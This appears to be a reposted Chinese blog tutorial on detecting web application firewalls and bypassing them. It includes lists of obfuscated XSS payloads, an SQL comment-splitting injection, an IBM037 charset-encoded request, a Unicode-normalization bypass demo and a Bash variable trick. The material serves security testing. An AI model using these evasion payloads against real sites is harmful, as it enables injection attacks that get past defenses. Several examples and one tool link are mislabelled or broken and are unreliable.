我绕过WAF的5种方法

 

介绍

本文将介绍 Web 应用程序渗透测试人员和安全研究人员用来成功绕过 Web 应用程序防火墙 (WAF) 保护的工具和技术。

WAF 是一种用于过滤和阻止恶意网络流量的网络安全解决方案。常见的供应商包括 CloudFlare、AWS、Citrix、Akamai、Radware、Microsoft Azure 和 Barracuda。

根据防火墙使用的机制组合,绕过方法可能会有所不同。例如,WAF 可能使用正则表达式来检测恶意流量。正则表达式用于检测字符串中的模式。您可以在这里阅读有关它们的更多信息。https://docs.python.org/3/library/re.html

 

WAF 还可以采用基于签名的检测,其中为已知的恶意字符串提供存储在数据库中的签名,并且防火墙将根据数据库的内容检查 Web 流量的签名。如果匹配,则流量被阻止。此外,一些防火墙使用基于启发式的检测。

识别WAF

手动
如前所述,WAF 通常会阻止明显的恶意流量,为了触发防火墙并验证其存在,可以向 Web 应用程序发出 HTTP 请求,并在 URL 中包含恶意查询,例如 
https://example.com/?p4yl04d3=<script>alert(document.cookie)</script>.

通过 Web 代理、cURL 或浏览器开发工具的“网络”选项卡,可以检测防火墙的其他指示:

标头中 WAF 的名称Server(例如Server: cloudflare)与 WAF 关联的其他 HTTP 响应标头(例如CF-RAY: xxxxxxxxxxx)看似由 WAF 设置的 Cookie(例如响应标头Set-Cookie: __cfduid=xxxxx)提交恶意请求时的唯一响应代码。(例如412

除了制作恶意查询和评估响应之外,还可以通过FIN/RST向服务器发送 TCP 数据包或实施旁路攻击来检测防火墙。例如,针对不同负载的防火墙的计时可以提示正在使用的 WAF。

 

自动化

本文将讨论 3 种自动检测和识别 WAF 的方法。

 

1. 运行 Nmap 扫描

Nmap 脚本引擎 (NSE) 包括用于检测和指纹识别防火墙的脚本,下面可以看到这些脚本的使用情况。
$ nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.comStarting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 21:43 PDTNmap scan report for example.com (xxx.xxx.xxx.xxx)Host is up (0.20s latency).
PORT    STATE SERVICE443/tcp open  https| http-waf-detect: IDS/IPS/WAF detected:|_example.com:443/?p4yl04d3=<script>alert(document.cookie)</script>
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds

 

2. WafW00f

Wafw00f 是一个命令行实用程序,它将常用标记的有效负载发送到给定的域名并评估 Web 服务器的响应,以在可能的情况下检测和识别防火墙。

https://github.com/Ekultek/WhatWaf

$ wafw00f example.com

3. WhatWaf

除了检测防火墙之外,WhatWaf 还可以通过利用篡改脚本并评估 Web 服务器对各种有效负载的响应来尝试发现绕过。
https://github.com/Ekultek/WhatWaf

绕过WAF

本节将通过示例概述一些潜在的 WAF 绕过技术。

1. 绕过正则表达式

此方法适用于WAF和Web服务器执行的正则表达式过滤。在黑盒渗透测试期间,查找 WAF 使用的正则表达式可能不是一个选择。如果正则表达式可以访问,本文将通过案例研究解释正则表达式绕过。

常见的绕过方法包括更改有效负载的大小写、使用各种编码、替换函数或字符、使用替代语法以及使用换行符或制表符等等。

 

下面的示例演示了一些使用注释绕过正则表达式的方法。

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag<<script>alert(XSS)</script> #prepending an additional "<"<script>alert(XSS) // #removing the closing tag<script>alert`XSS`</script> #using backticks instead of parenethesesjava%0ascript:alert(1) #using encoded newline characters<iframe src=http://malicous.com < #double open angle brackets<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
混淆

虽然混淆是绕过正则表达式的一种可能方法,但它们已分为不同的部分,以更专门地展示混淆技术的选择。

Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and promptjavascript:74163166147401571561541571411447514115414516216450615176 #octal encoding<iframe src="javascript:alert(`xss`)"> #unicode encoding/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statementnew Function`alt`6``; #using backticks instead of parenthesesdata:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript%26%2397;lert(1) #using HTML encoding<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks <BODY onload!#$%&()*~+-_.,:;?@[/|]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
其他资源包括PayloadsAllTheThings和OWASP。
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloadshttps://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html

2. 字符集

该技术涉及修改Content-Type标头以使用不同的字符集(例如ibm500)。未配置为检测不同编码的恶意负载的 WAF 可能无法将请求识别为恶意请求。

字符集编码可以在Python中完成。
$ python3 -- snip -- >>>  import urllib.parse >>>  s = '<script>alert("xss")</script>' >>>  urllib.parse.quote_plus(s.encode( "IBM037" )) 'L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3n '
然后可以将编码后的字符串在请求正文中发送并上传到服务器。
POST /comment/post HTTP/1.1Host: chatappContent-Type: application/x-www-form-urlencoded; charset=ibm500Content-Length: 74
%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3

3. 内容大小

在某些基于云的 WAF 中,如果负载超过特定大小,则不会检查请求。在这些场景中,可以通过增加请求正文或 URL 的大小来绕过防火墙。

4. 统一码兼容性

Unicode 兼容性是一个概念,描述了将视觉上不同的字符分解为相同的基本抽象字符。它是unicode 等效形式的一种形式。例如,字符/(U+FF0F) 和/(U+002F) 是不同的,但在某些上下文中它们将具有相同的含义。

https://en.wikipedia.org/wiki/Unicode_equivalence

共享含义允许字符彼此兼容,这意味着它们都可以转换为标准正斜杠字符/(U+002F),尽管它们一开始是不同的字符。深入挖掘,/(U+FF0F) 和/(U+002F) 是否最终会成为相同的正斜杠字符取决于 Web 服务器对它们进行规范化或翻译的方式。

字符通常通过四种标准 Unicode 规范化算法之一进行规范化:

NFC:标准化形式规范组合NFD:规范化形式规范分解NFKC:标准化形式兼容性组合NFKD:规范化形式兼容性分解
NFKC 和 NFKD 特别会通过兼容性来分解字符,这与 NFC 和 NFD 不同(更多详细信息请参见此处)。
https://www.unicode.org/reports/tr15/
这意味着,在首先对用户输入进行清理,然后使用 NFKC 或 NFKD 进行规范化的 Web 服务器上,意外的兼容字符可以绕过 WAF 并在后端作为规范等效字符执行。
 
这是因为 WAF 不期望使用 unicode 兼容的字符。Jorge Lahara在下面的 PoC 网络服务器中演示了这一点。
https://jlajara.gitlab.io/Bypass_WAF_Unicode
from flask import Flask, abort, requestimport unicodedatafrom waf import waf
app = Flask(__name__)
@app.route('/')def Welcome_name():  name = request.args.get('name')
  if waf(name):    abort(403, description="XSS Detected")  else:    name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD    return 'Test XSS: ' + name
if __name__ == '__main__':  app.run(port=81)

<img src=p onerror=’prompt(1)’>如果防火墙可能已检测到的初始有效负载,则使用 Unicode 兼容字符 ( <img src⁼p onerror⁼'prompt⁽1⁾'>) 构造的有效负载将保持检测不到。

 

在清理后对输入进行规范化的 Web 服务器可能容易因 Unicode 兼容性而受到 WAF 绕过,可以在这里找到兼容的字符。

https://www.compart.com/en/unicode

5. 未初始化的变量

潜在的方法是在您的请求中使用未初始化的变量(例如$u),如本文所示。

https://www.secjuice.com/web-application-firewall-waf-evasion/

 

这在命令执行场景中是可能的,因为 Bash 将未初始化的变量视为空字符串,将空字符串与命令有效负载连接时,结果最终成为命令有效负载。

当在容易受到命令注入攻击的系统上时,在有效负载中插入未初始化的变量可以充当一种混淆形式,绕过防火墙。

原创文章,作者:速盾高防cdn,如若转载,请注明出处:https://www.sudun.com/ask/31956.html

(0)
速盾高防cdn's avatar速盾高防cdn
上一篇 2024年3月25日 下午11:57
下一篇 2024年3月26日 上午12:06

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注